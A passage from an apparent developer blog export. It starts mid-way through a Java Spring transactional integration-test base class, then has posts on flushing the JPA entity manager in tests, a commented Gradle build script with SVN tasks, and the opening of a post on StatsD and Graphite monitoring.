<span class="Comment"> * </span><span class="Special">{@link AbstractTransactionalJUnit4SpringContextTests}</span><span class="Comment"> for more information.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * Legacy JUnit 3.8 class hierarchy is deprecated. Under new sprint test context</span>
<span class="Comment"> * framework, a field of property must be annotated with </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@Autowired</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span>
<span class="Comment"> * or </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@Resource</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">(</span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@Autowired</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> in conjunction with</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@Qualifier</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">) explicitly to let spring inject dependency</span>
<span class="Comment"> * automatically.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * Reference:</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">ul</span><span class="Identifier">></span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">li</span><span class="Identifier">></span><span class="Comment"><a href="https://jira.springsource.org/browse/SPR-5243">https://jira.springsource.org/browse/SPR-5243</a></span><span class="Identifier"></</span><span class="Statement">li</span><span class="Identifier">></span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">li</span><span class="Identifier">></span>
<span class="Comment"> * <a href="http://forum.springsource.org/showthread.php?86124-How">http://forum.springsource.org/showthread.php?86124-How</a> -to-register-</span>
<span class="Comment"> * BeanPostProcessor-programaticaly</span><span class="Identifier"></</span><span class="Statement">li</span><span class="Identifier">></span>
<span class="Comment"> * </span><span class="Identifier"></</span><span class="Statement">ul</span><span class="Identifier">></span>
<span class="Comment"> * </span>
<span class="Comment"> * </span><span class="Special">@author</span><span class="Comment"> Ramon Li</span>
<span class="Comment"> */</span>
<span class="Comment">// @RunWith(SpringJUnit4ClassRunner.class)</span>
<span class="Comment">// Refer to the doc of WebContextLoader.</span>
<span class="PreProc">@ContextConfiguration</span>(loader = WebApplicationContextLoader.<span class="Type">class</span>, locations = { <span class="Constant">"spring/spring-core.xml"</span>,
<span class="Constant">"spring/spring-core-dao.xml"</span>, <span class="Constant">"spring/game/spring-raffle.xml"</span>, <span class="Constant">"spring/game/spring-ig.xml"</span>,
<span class="Constant">"spring/game/spring-extraball.xml"</span>, <span class="Constant">"spring/game/spring-lotto.xml"</span>, <span class="Constant">"spring/game/spring-toto.xml"</span>,
<span class="Constant">"spring/game/spring-lfn.xml"</span>, <span class="Constant">"spring/spring-3rdparty.xml"</span>, <span class="Constant">"spring/game/spring-magic100.xml"</span>,
<span class="Constant">"spring/game/spring-digital.xml"</span> })
<span class="Comment">// this annotation defines the transaction manager for each test case.</span>
<span class="PreProc">@TransactionConfiguration</span>(transactionManager = <span class="Constant">"transactionManager"</span>, defaultRollback = <span class="Constant">true</span>)
<span class="Comment">// As our TEST extending from AbstractTransactionalJUnit4SpringContextTests,</span>
<span class="Comment">// below 3 listeners have been registered by default, and it will be inherited</span>
<span class="Comment">// by subclass.</span>
<span class="Comment">// @TestExecutionListeners(listeners = {ShardAwareTestExecutionListener.class})</span>
<span class="Comment">// @Transactional</span>
<span class="Type">public</span> <span class="Type">class</span> BaseTransactionalIntegrationTest <span class="Type">extends</span> AbstractTransactionalJUnit4SpringContextTests {
<span class="Type">private</span> <span class="Type">static</span> Log logger = LogFactory.getLog(BaseTransactionalIntegrationTest.<span class="Type">class</span>);
<span class="Comment">// SPRING DEPENDENCIES</span>
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> Always auto wire the data source to a javax.sql.DataSource with name</span>
<span class="Comment"> *</span><span class="Special"> 'dataSource' even there are multiple data sources.</span><span class="Comment"> It means there must be</span>
<span class="Comment"> * a DataSource bean named 'dataSource' and a</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">PlatformTransactionManager</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> named 'transactionManager'.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * </span>
<span class="Comment"> * </span><span class="Special">@see </span><span class="Identifier">AbstractTransactionalJUnit4SpringContextTests#setDataSource(javax.sql.DataSource)</span>
<span class="Comment"> */</span>
<span class="PreProc">@PersistenceContext</span>(unitName = <span class="Constant">"lottery_te"</span>)
<span class="Type">protected</span> EntityManager entityManager;
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> do something if want configure test case when initialization.</span>
<span class="Comment"> */</span>
<span class="Type">public</span> BaseTransactionalIntegrationTest() {
<span class="Comment">// initialize MLottery context.</span>
MLotteryContext.getInstance();
<span class="Comment">// enable HASP license</span>
<span class="Type">this</span>.enableLicense();
}
<span class="Comment">// run once for current test suite.</span>
<span class="PreProc">@BeforeClass</span>
<span class="Type">public</span> <span class="Type">static</span> <span class="Type">void</span> beforeClass() {
logger.trace(<span class="Constant">"@BeforeClass:beforeClass()"</span>);
}
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> logic to verify the initial state before a transaction is started.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * The @BeforeTransaction methods declared in superclass will be run after</span>
<span class="Comment"> * those of the current class. Supported by</span>
<span class="Comment"> * </span><span class="Special">{@link TransactionalTestExecutionListener}</span>
<span class="Comment"> */</span>
<span class="PreProc">@BeforeTransaction</span>
<span class="Type">public</span> <span class="Type">void</span> verifyInitialDatabaseState() <span class="Type">throws</span> Exception {
logger.trace(<span class="Constant">"@BeforeTransaction:verifyInitialDatabaseState()"</span>);
}
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> Set up test data within the transaction.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * The @Before methods of superclass will be run before those of the current</span>
<span class="Comment"> * class. No other ordering is defined.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * NOTE: Any before methods (for example, methods annotated with JUnit 4's</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@Before</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">) and any after methods (such as methods annotated</span>
<span class="Comment"> * with JUnit 4's </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">@After</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">) are executed within a transaction.</span>
<span class="Comment"> */</span>
<span class="PreProc">@Before</span>
<span class="Type">public</span> <span class="Type">void</span> setUpTestDataWithinTransaction() {
logger.trace(<span class="Constant">"@Before:setUpTestDataWithinTransaction()"</span>);
<span class="Type">this</span>.initializeMLotteryContext();
}
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> execute "tear down" logic within the transaction.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * The @After methods declared in superclass will be run after those of the</span>
<span class="Comment"> * current class.</span>
<span class="Comment"> */</span>
<span class="PreProc">@After</span>
<span class="Type">public</span> <span class="Type">void</span> tearDownWithinTransaction() {
logger.trace(<span class="Constant">"@After:tearDownWithinTransaction()"</span>);
}
<span class="Comment">/**</span>
<span class="Comment"> *</span><span class="Special"> logic to verify the final state after transaction has rolled back.</span>
<span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="Comment"> * The @AfterTransaction methods declared in superclass will be run after</span>
<span class="Comment"> * those of the current class.</span>
<span class="Comment"> */</span>
<span class="PreProc">@AfterTransaction</span>
<span class="Type">public</span> <span class="Type">void</span> verifyFinalDatabaseState() {
logger.trace(<span class="Constant">"@AfterTransaction:verifyFinalDatabaseState()"</span>);
}
<span class="PreProc">@AfterClass</span>
<span class="Type">public</span> <span class="Type">static</span> <span class="Type">void</span> afterClass() {
logger.trace(<span class="Constant">"@AfterClass:afterClass()"</span>);
}
<span class="Comment">// ----------------------------------------------------------------</span>
<span class="Comment">// HELPER METHODS</span>
<span class="Comment">// ----------------------------------------------------------------</span>
<span class="Type">protected</span> <span class="Type">void</span> initializeMLotteryContext() {
logger.debug(<span class="Constant">"Retrieve a ApplicationContext("</span> + <span class="Type">this</span>.applicationContext + <span class="Constant">")."</span>);
MLotteryContext.getInstance().setBeanFactory(<span class="Type">this</span>.applicationContext);
}
<span class="Type">protected</span> <span class="Type">void</span> printMethod() {
StringBuffer lineBuffer = <span class="Statement">new</span> StringBuffer(<span class="Constant">"+"</span>);
<span class="Statement">for</span> (<span class="Type">int</span> i = <span class="Constant">0</span>; i < <span class="Constant">120</span>; i++) {
lineBuffer.append(<span class="Constant">"-"</span>);
}
lineBuffer.append(<span class="Constant">"+"</span>);
String line = lineBuffer.toString();
<span class="Comment">// Get the test method. If index=0, it means get current method.</span>
StackTraceElement eles[] = <span class="Statement">new</span> Exception().getStackTrace();
<span class="Comment">// StackTraceElement eles[] = new Exception().getStackTrace();</span>
<span class="Comment">// for (StackTraceElement ele : eles){</span>
<span class="Comment">// System.out.println("class:" + ele.getClassName());</span>
<span class="Comment">// System.out.println("method:" + ele.getMethodName());</span>
<span class="Comment">// }</span>
String className = eles[<span class="Constant">1</span>].getClassName();
<span class="Type">int</span> index = className.lastIndexOf(<span class="Constant">"."</span>);
className = className.substring((index == -<span class="Constant">1</span> ? <span class="Constant">0</span> : (index + <span class="Constant">1</span>)));
String method = className + <span class="Constant">"."</span> + eles[<span class="Constant">1</span>].getMethodName();
StringBuffer padding = <span class="Statement">new</span> StringBuffer();
<span class="Statement">for</span> (<span class="Type">int</span> i = <span class="Constant">0</span>; i < line.length(); i++) {
padding.append(<span class="Constant">" "</span>);
}
logger.info(line);
String methodSig = (method + padding.toString()).substring(<span class="Constant">0</span>, line.length() - <span class="Constant">3</span>);
logger.info(<span class="Constant">"| "</span> + methodSig + <span class="Constant">"|"</span>);
logger.info(line);
}
<span class="Type">protected</span> <span class="Type">void</span> enableLicense() {
Calendar cal = Calendar.getInstance();
cal.setTime(<span class="Statement">new</span> Date());
cal.set(Calendar.YEAR, cal.get(Calendar.YEAR) + <span class="Constant">1</span>);
License.getInstance().setExpireDate(cal);
}
<span class="Type">protected</span> String uuid() {
UUID uuid = UUID.randomUUID();
String uuidStr = uuid.toString();
<span class="Statement">return</span> uuidStr.replace(<span class="Constant">"-"</span>, <span class="Constant">""</span>);
}
<span class="Comment">// ----------------------------------------------------------------</span>
<span class="Comment">// ASSERTION METHODS</span>
<span class="Comment">// ----------------------------------------------------------------</span>
<span class="Type">protected</span> <span class="Type">void</span> assertTransaction(Transaction expectedTrans, Transaction actualTrans) {
assertEquals(expectedTrans.getId(), actualTrans.getId());
assertEquals(expectedTrans.getGameId(), actualTrans.getGameId());
assertEquals(expectedTrans.getTotalAmount().doubleValue(),
actualTrans.getTotalAmount().doubleValue(), <span class="Constant">0</span>);
assertEquals(expectedTrans.getTicketSerialNo(), actualTrans.getTicketSerialNo());
assertEquals(expectedTrans.getDeviceId(), actualTrans.getDeviceId());
assertEquals(expectedTrans.getMerchantId(), actualTrans.getMerchantId());
assertEquals(expectedTrans.getType(), actualTrans.getType());
assertEquals(expectedTrans.getOperatorId(), actualTrans.getOperatorId());
assertEquals(expectedTrans.getTraceMessageId(), actualTrans.getTraceMessageId());
assertEquals(expectedTrans.getResponseCode(), actualTrans.getResponseCode());
}
<span class="Type">protected</span> <span class="Type">void</span> assertTicket(BaseTicket expectTicket, BaseTicket actualTicket) {
assertEquals(expectTicket.getSerialNo(), actualTicket.getSerialNo());
assertEquals(expectTicket.getStatus(), actualTicket.getStatus());
assertEquals(expectTicket.getTotalAmount().doubleValue(),
actualTicket.getTotalAmount().doubleValue(), <span class="Constant">0</span>);
assertEquals(expectTicket.getMultipleDraws(), actualTicket.getMultipleDraws());
assertEquals(expectTicket.getMobile(), actualTicket.getMobile());
assertEquals(expectTicket.getCreditCardSN(), actualTicket.getCreditCardSN());
assertEquals(expectTicket.getDevId(), actualTicket.getDevId());
assertEquals(expectTicket.getMerchantId(), actualTicket.getMerchantId());
assertEquals(expectTicket.getOperatorId(), actualTicket.getOperatorId());
assertEquals(expectTicket.getTicketFrom(), actualTicket.getTicketFrom());
assertEquals(expectTicket.getTicketType(), actualTicket.getTicketType());
assertEquals(expectTicket.getTransType(), actualTicket.getTransType());
assertEquals(expectTicket.isCountInPool(), actualTicket.isCountInPool());
assertEquals(expectTicket.getGameInstance().getId(), actualTicket.getGameInstance().getId());
assertEquals(expectTicket.getPIN(), actualTicket.getPIN());
}
<span class="Type">protected</span> <span class="Type">void</span> assertPayout(Payout exp, Payout actual) {
assertEquals(exp.getTransaction().getId(), actual.getTransaction().getId());
assertEquals(exp.getGameId(), actual.getGameId());
assertEquals(exp.getGameInstanceId(), actual.getGameInstanceId());
assertEquals(exp.getDevId(), actual.getDevId());
assertEquals(exp.getMerchantId(), actual.getMerchantId());
assertEquals(exp.getOperatorId(), actual.getOperatorId());
assertEquals(exp.getTicketSerialNo(), actual.getTicketSerialNo());
assertEquals(exp.getBeforeTaxObjectAmount().doubleValue(), actual.getBeforeTaxObjectAmount()
.doubleValue(), <span class="Constant">0</span>);
assertEquals(exp.getBeforeTaxTotalAmount().doubleValue(), actual.getBeforeTaxTotalAmount()
.doubleValue(), <span class="Constant">0</span>);
assertEquals(exp.getTotalAmount().doubleValue(), actual.getTotalAmount().doubleValue(), <span class="Constant">0</span>);
assertEquals(exp.getNumberOfObject(), actual.getNumberOfObject());
}
<span class="Comment">// ----------------------------------------------------------------</span>
<span class="Comment">// SPRINT DEPENDENCIES INJECTION</span>
<span class="Comment">// ----------------------------------------------------------------</span>
<span class="Type">public</span> EntityManager getEntityManager() {
<span class="Statement">return</span> entityManager;
}
<span class="Type">public</span> <span class="Type">void</span> setEntityManager(EntityManager entityManager) {
<span class="Type">this</span>.entityManager = entityManager;
}
}
</pre>
</blockquote>
<h2>
What happen if one single test method make 2 separated requests?</h2>
<div>
In my project, there is a services named 'sell' for client to make a sale, and a corresponding service named 'enquiry' to query that sale.</div>
<div>
<br /></div>
<div>
Now we plan to test the service 'enquiry' and write a test case named 'testEnquiry'. ok, how do we prepare the test data of a sale which will be quired? There are at least 2 options.<br />
<br /></div>
<div>
<h3>
Prepare test data and import them into database before running test</h3>
</div>
<div>
By this mean, there are possibilities that your prepared test data doesn't meet the specification of service 'sell'. That says you prepared test data may write a column named 'gameId', however 'sell' service won't write that column. In such case, your test case will pass, however in production environment, the 'enquiry' service will fail.</div>
<div>
<br /></div>
<div>
<h3>
Call 'sell' service in 'testEnquiry' method</h3>
</div>
<div>
The pseud code seem as below:<br />
<blockquote class="tr_bq">
<pre>public static void testEnquiry(){
callSellService();
callCancelService();
//assert ouput
}
</pre>
</blockquote>
</div>
The callSellService() and callEnquiryService() are in same single transaction. Here I will give a real case in my project. The callSellService() will generates tickets(List<ticket>), and callEnquiryService() will query tickets generated by sale service, then marshell it into xml.</ticket><br />
What makes me surprise is that the tickets entities retrieved by callEnquiryService() are same with tickets entities generated by callSellService(). I mean they are same java object, not only the same fields/properties.<br />
However in production, may fields in tickets retrieved by callEnquiryService() are missed, as in production environemnt callSellService() and callEnquiryService() are completely different 2 transactions.<br />
<br />
<h3>
Which option is better? Or 3rd option?</h3>
<br />
I prefer the 2nd option, prepare test data by real transactions. Then how to face its problem? after some research, the solution is simple and effect.<br />
<blockquote class="tr_bq">
<pre>public static void testEnquiry(){
callSellService();
this.entityManager.flush();
this.entityManager.clear();
callCancelService();
//assert ouput
}</pre>
</blockquote>
<div>
<ul>
<li><b>this.entityManager.flush()</b> will flush all entity state to underlying database. This must be called, otherwise all change of entity will be lost.</li>
<li><b>this.entityManager.clear()</b> will clear all entities, and make them in detached state, then any subsequent call to entity manager will new entity.</li>
</ul>
</div>
<div>
<br />
May DBUnit is another choice, however that means I have to convert my sql script into xml, oh, that is a big challenge.</div>
<div>
<br /></div>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-60683556134708023002012-12-24T13:42:00.000+08:002012-12-24T13:42:53.319+08:00Prepare to learn GroovyPlan to learn Groovy, as there are 2 great frameworks written in groovy, Gradle and Grails. Besides if Grinder will support groovy, it will be a great plus.<br />
<br />
<b><span style="font-size: large;">Gradle</span></b><br />
Gradle is a next-generation build tool, in my opinion, it will replace Maven and Ant.<br />
Below is my build.gradle for one of my projects:<br />
<br />
<pre>
<span class="lnr"> 1 </span>apply plugin: 'war'
<span class="lnr"> 2 </span>// 'war' plugin will apply 'java' plugin automatically
<span class="lnr"> 3 </span>apply plugin: 'java'
<span class="lnr"> 4 </span>apply plugin: 'eclipse'
<span class="lnr"> 5 </span>// run web application
<span class="lnr"> 6 </span>apply plugin: 'jetty'
<span class="lnr"> 7 </span>
<span class="lnr"> 8 </span>/**
<span class="lnr"> 9 </span> * Gradle includes 2 phases: configuration and execution, refer to
<span class="lnr"> 10 </span> * <a href="http://stackoverflow.com/questions/11558824/gradle-tar-task-not-executed">http://stackoverflow.com/questions/11558824/gradle-tar-task-not-executed</a>.
<span class="lnr"> 11 </span> *
<span class="lnr"> 12 </span> * - CONFIGURATION PHASE
<span class="lnr"> 13 </span> * In configuration phase, all codes except doFirst() and doLast() will be executed from top to bottom of the script.
<span class="lnr"> 14 </span> * The 'dependsOn' doesn't make any sense in configration phase, for example, the 'jar' and 'svnrev' tasks, if we put
<span class="lnr"> 15 </span> * 'svnrev' after 'jar', then variable 'svnrev.lastRev' can't be parsed at 'jar' task, as it completely hasn't been
<span class="lnr"> 16 </span> * initilized at all.
<span class="lnr"> 17 </span> *
<span class="lnr"> 18 </span> * - EXECUTION PHASE
<span class="lnr"> 19 </span> * In execution phase, the dependency mechanism of task will work. Be reminded that only doFirst() and doLast() will be
<span class="lnr"> 20 </span> * executed at execution phase, and gradle will finished configuration of whose script first to initialize and determine
<span class="lnr"> 21 </span> * what tasks should be executed and what is the execution order.
<span class="lnr"> 22 </span> */
<span class="lnr"> 23 </span>
<span class="lnr"> 24 </span>logger.quiet(">> Start building of $_name.$version.")
<span class="lnr"> 25 </span>/**
<span class="lnr"> 26 </span> * SHIT, here you can't give a statement like 'compileJava.options.encoding = $_sourcecode_encoding', if do so,
<span class="lnr"> 27 </span> * "Could not find property '$_sourcecode_encoding'" will be thrown out. '$_encoding' can't only be used in String?
<span class="lnr"> 28 </span> */
<span class="lnr"> 29 </span>compileJava.options.encoding = _sourcecode_encoding
<span class="lnr"> 30 </span>compileTestJava.options.encoding = _sourcecode_encoding
<span class="lnr"> 31 </span>// Define a temporary variable.
<span class="lnr"> 32 </span>//_tmp="define a temporary variable"
<span class="lnr"> 33 </span>//logger.quiet(">> Define a temporary variable: _tmp: $_tmp")
<span class="lnr"> 34 </span>
<span class="lnr"> 35 </span>// Properties added by the java plugin
<span class="lnr"> 36 </span>sourceCompatibility="1.6"
<span class="lnr"> 37 </span>targetCompatibility="1.6"
<span class="lnr"> 38 </span>//Properties added by the war plugin
<span class="lnr"> 39 </span>webAppDirName="src/main/WWW"
<span class="lnr"> 40 </span>
<span class="lnr"> 41 </span>configurations {
<span class="lnr"> 42 </span> provided {
<span class="lnr"> 43 </span> description = 'Non-exported comiple-time dependencies.'
<span class="lnr"> 44 </span> }
<span class="lnr"> 45 </span>}
<span class="lnr"> 46 </span>
<span class="lnr"> 47 </span>/**
<span class="lnr"> 48 </span> * In Gradle dependencies are grouped into configurations, and there are 4 pre-defined configuration:
<span class="lnr"> 49 </span> * compile, runtime, testCompile and testRuntime. In general dependencies of the later one will contain previous one.
<span class="lnr"> 50 </span> */
<span class="lnr"> 51 </span>dependencies {
<span class="lnr"> 52 </span> // configurationName dependencyNotation1, dependencyNotation2, ...
<span class="lnr"> 53 </span> // compile group: 'commons-collections', name: 'commons-collections', version: '3.2'
<span class="lnr"> 54 </span>
<span class="lnr"> 55 </span> provided files('lib/DEV/j2ee/servlet-api.jar')
<span class="lnr"> 56 </span> compile fileTree(dir: 'lib', include: '**/*.jar', exclude: 'DEV/**/*.jar')
<span class="lnr"> 57 </span> /**
<span class="lnr"> 58 </span> * Below dependency will result in a exception:
<span class="lnr"> 59 </span> * Circular dependency between tasks. Cycle includes [task ':compileJava', task ':classes'].
<span class="lnr"> 60 </span> * As sourceSets.main.output is generated by task 'compileJava', however if we declare the dependency here, it means task
<span class="lnr"> 61 </span> * 'compileJava' will depend on this file too, then a circular dependency occurs.
<span class="lnr"> 62 </span> */
<span class="lnr"> 63 </span> //compile sourceSets.main.output
<span class="lnr"> 64 </span> testCompile fileTree(dir:"lib", include:"DEV/**/*.jar")
<span class="lnr"> 65 </span>}
<span class="lnr"> 66 </span>
<span class="lnr"> 67 </span>sourceSets {
<span class="lnr"> 68 </span> /**
<span class="lnr"> 69 </span> * The Java plugin defines two standard source sets, called main and test.
<span class="lnr"> 70 </span> * Changing the project layout, the default project layout is as below:
<span class="lnr"> 71 </span> * - src/main/java Production Java source
<span class="lnr"> 72 </span> * - src/main/resources Production resources
<span class="lnr"> 73 </span> * - src/test/java Test Java source
<span class="lnr"> 74 </span> * - src/test/resources Test resources
<span class="lnr"> 75 </span> * - src/sourceSet/java Java source for the given source set
<span class="lnr"> 76 </span> * - src/sourceSet/resources Resources for the given source set
<span class="lnr"> 77 </span> * Refer to <a href="http://gradle.org/docs/current/userguide/java_plugin.html">http://gradle.org/docs/current/userguide/java_plugin.html</a> and
<span class="lnr"> 78 </span> * <a href="http://gradle.org/docs/current/dsl/org.gradle.api.tasks.SourceSet.html">http://gradle.org/docs/current/dsl/org.gradle.api.tasks.SourceSet.html</a> for more information.
<span class="lnr"> 79 </span> */
<span class="lnr"> 80 </span> main {
<span class="lnr"> 81 </span> compileClasspath = compileClasspath + configurations.provided
<span class="lnr"> 82 </span> //compileClasspath.collect().each({println it})
<span class="lnr"> 83 </span> resources {
<span class="lnr"> 84 </span> srcDir 'src/main/resource'
<span class="lnr"> 85 </span> }
<span class="lnr"> 86 </span> }
<span class="lnr"> 87 </span> test {
<span class="lnr"> 88 </span> java {
<span class="lnr"> 89 </span> srcDir 'src/test/unittest'
<span class="lnr"> 90 </span> // integration test needs database, and need to import test data first.
<span class="lnr"> 91 </span> srcDir 'src/test/integration'
<span class="lnr"> 92 </span> }
<span class="lnr"> 93 </span> resources {
<span class="lnr"> 94 </span> srcDir 'src/test/resource'
<span class="lnr"> 95 </span> }
<span class="lnr"> 96 </span> }
<span class="lnr"> 97 </span>}
<span class="lnr"> 98 </span>
<span class="lnr"> 99 </span>// Retrieve the last revision of project, refer to <a href="http://stackoverflow.com/questions/9044354/checkout-svn-using-gradle">http://stackoverflow.com/questions/9044354/checkout-svn-using-gradle</a>.
<span class="lnr">100 </span>task svnrev {
<span class="lnr">101 </span> // use ant to retrieve revision.
<span class="lnr">102 </span> ant.taskdef(resource: 'org/tigris/subversion/svnant/svnantlib.xml') {
<span class="lnr">103 </span> classpath {
<span class="lnr">104 </span> fileset(dir: 'lib/DEV/svnant-1.2.1', includes: '*.jar')
<span class="lnr">105 </span> }
<span class="lnr">106 </span> }
<span class="lnr">107 </span> ant.svn(javahl: 'false', svnkit: 'true', username: "${_svn_user}", password: "${_svn_password}", failonerror: 'false') {
<span class="lnr">108 </span> ant.info(target: "${_svn_source_url}", propPrefix: 'svninfo')
<span class="lnr">109 </span> }
<span class="lnr">110 </span> // retrieve property of ant project and assign it to a task's property, refer to:
<span class="lnr">111 </span> // <a href="http://gradle.1045684.n5.nabble.com/can-t-find-or-extract-properties-from-svnant-info-function-in-gradle-td3335388.html">http://gradle.1045684.n5.nabble.com/can-t-find-or-extract-properties-from-svnant-info-function-in-gradle-td3335388.html</a>
<span class="lnr">112 </span> ext.lastRev = ant.getProject().properties['svninfo.lastRev']
<span class="lnr">113 </span> // retrieve property of gradle project
<span class="lnr">114 </span> //getProject().properties['buildFile']
<span class="lnr">115 </span>}
<span class="lnr">116 </span>
<span class="lnr">117 </span>import org.gradle.api.java.archives.internal.DefaultManifest
<span class="lnr">118 </span>import org.gradle.api.internal.file.IdentityFileResolver
<span class="lnr">119 </span>task generateManifest {
<span class="lnr">120 </span> // define a task's property
<span class="lnr">121 </span> ext.m = new DefaultManifest(new IdentityFileResolver())
<span class="lnr">122 </span>
<span class="lnr">123 </span> // add some attributes
<span class="lnr">124 </span> m.attributes([
<span class="lnr">125 </span> 'Implementation-Title':"$_name",
<span class="lnr">126 </span> 'Implementation-Version':"${version}_${svnrev.lastRev}",
<span class="lnr">127 </span> 'Implementation-Vendor':"$_company",
<span class="lnr">128 </span> 'Created-By' : _team,
<span class="lnr">129 </span> 'Build-Time' : new Date()
<span class="lnr">130 </span> ])
<span class="lnr">131 </span> //manifest.writeTo('build/mymanifest.mf')
<span class="lnr">132 </span>}
<span class="lnr">133 </span>war.dependsOn 'generateManifest'
<span class="lnr">134 </span>
<span class="lnr">135 </span>war {
<span class="lnr">136 </span> archiveName = _name + ".war"
<span class="lnr">137 </span> manifest = generateManifest.m
<span class="lnr">138 </span>}
<span class="lnr">139 </span>
<span class="lnr">140 </span>// Define a global variable
<span class="lnr">141 </span>def user_tag
<span class="lnr">142 </span>
<span class="lnr">143 </span>task svntag <<{
<span class="lnr">144 </span> def console = System.console()
<span class="lnr">145 </span> if (console) {
<span class="lnr">146 </span> user_tag = console.readLine("> Please enter your tag(${version}): ")
<span class="lnr">147 </span> if (!user_tag) {
<span class="lnr">148 </span> logger.error "Please give a tag definition."
<span class="lnr">149 </span> System.exit(0)
<span class="lnr">150 </span> }
<span class="lnr">151 </span> } else {
<span class="lnr">152 </span> logger.error "Cannot get console."
<span class="lnr">153 </span> }
<span class="lnr">154 </span> /**
<span class="lnr">155 </span> * We must define below logic in doFirst/Last(), otherwise it will try to make a tag each time as it is in configuration phase.
<span class="lnr">156 </span> */
<span class="lnr">157 </span> ant.svn(javahl: 'false', svnkit: 'true', username: "${_svn_user}", password: "${_svn_password}", failonerror: 'false') {
<span class="lnr">158 </span> ant.copy(srcurl: "${_svn_source_url}", desturl:"${_svn_tag_url}/${user_tag}", message:"Create tag: ${_svn_tag_url}/${user_tag}")
<span class="lnr">159 </span> }
<span class="lnr">160 </span>}
<span class="lnr">161 </span>
<span class="lnr">162 </span>task dist(type: Zip) {
<span class="lnr">163 </span> description = "Build a distribution package containing war and shell script."
<span class="lnr">164 </span>
<span class="lnr">165 </span> archiveName = _name + "_v${version}.zip"
<span class="lnr">166 </span>
<span class="lnr">167 </span> // if use include, gradle will inform 'Skipping task ':zip' as it has no source files'...why?
<span class="lnr">168 </span> // include 'config'
<span class="lnr">169 </span>
<span class="lnr">170 </span> from('.') {
<span class="lnr">171 </span> include 'README.txt'
<span class="lnr">172 </span> include 'CHANGELOG.txt'
<span class="lnr">173 </span> }
<span class="lnr">174 </span> from war.destinationDir
<span class="lnr">175 </span> into('bin') {
<span class="lnr">176 </span> from('bin'){
<span class="lnr">177 </span> include 'app_backup.sh'
<span class="lnr">178 </span> include 'gen-keypair.sh'
<span class="lnr">179 </span> include 'gen-serialkey.sh'
<span class="lnr">180 </span> }
<span class="lnr">181 </span> }
<span class="lnr">182 </span> from 'etc/manual'
<span class="lnr">183 </span>
<span class="lnr">184 </span> doLast {
<span class="lnr">185 </span> //print 'source of zip:' + project['zip'].source.each({println it})
<span class="lnr">186 </span> }
<span class="lnr">187 </span>}
<span class="lnr">188 </span>
<span class="lnr">189 </span>
</pre>
<br />
<span style="font-size: large;"><b>Grails</b></span><br />
Grails is competing with Play!, however after trying a period time of scala, it makes me dismayed and indeed its learning curve is really hard. At present, I haven't even give Groovy a simple try, my only experience is gradle build script, what makes me dizzy is its closure. Maybe after put more effort to learn Groovy, those closures will be more friendly to me.<br />
<br />
<span style="font-size: large;"><b>Grinder</b></span><br />
A great distributed performance testing tool, at present it only support jython and closure. Python is my 2nd language, in fact just knew more than scala than groovy. I have found that someone also looking for the groovy supports of grinder, and has put real effort to implement it.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com9tag:blogger.com,1999:blog-30018430.post-89394963936239429402012-04-17T17:55:00.000+08:002012-04-20T11:06:23.954+08:00StatsD and GraphiteI have been kept finding a monitor solution a couple time. There are several solutions exist, including <a href="http://www.nagios.org/">nagios</a>, <a href="http://ganglia.info/">ganglia</a>. Ganglia offers a monitoring solution, while Nagios offers a alerting solution too. Both Ganglia and Nagios seem a little complicated, and need a considerable effort to configure. Be honest that I am not familiar with Nagios and Ganglia, and just give a quick look on both of them.<br />
<br />
After reading the post <a href="http://codeascraft.etsy.com/2011/02/15/measure-anything-measure-everything/">Measure Anything, Measure Everything</a> from Esty, I started to have a try on <a href="https://github.com/etsy/statsd">statsd </a>and <a href="https://launchpad.net/graphite">graphite</a>. Statsd is very simple to setup and easy to integrate with system, but Graphite really took me a very hard time to setup. As at first I tried to set up Graphite on <a href="http://ubuntu.com/">ubuntu</a>8.04, it failed finally due to python is not compitable with <a href="http://cairographics.org/">py2cario</a>.<br />
<br />
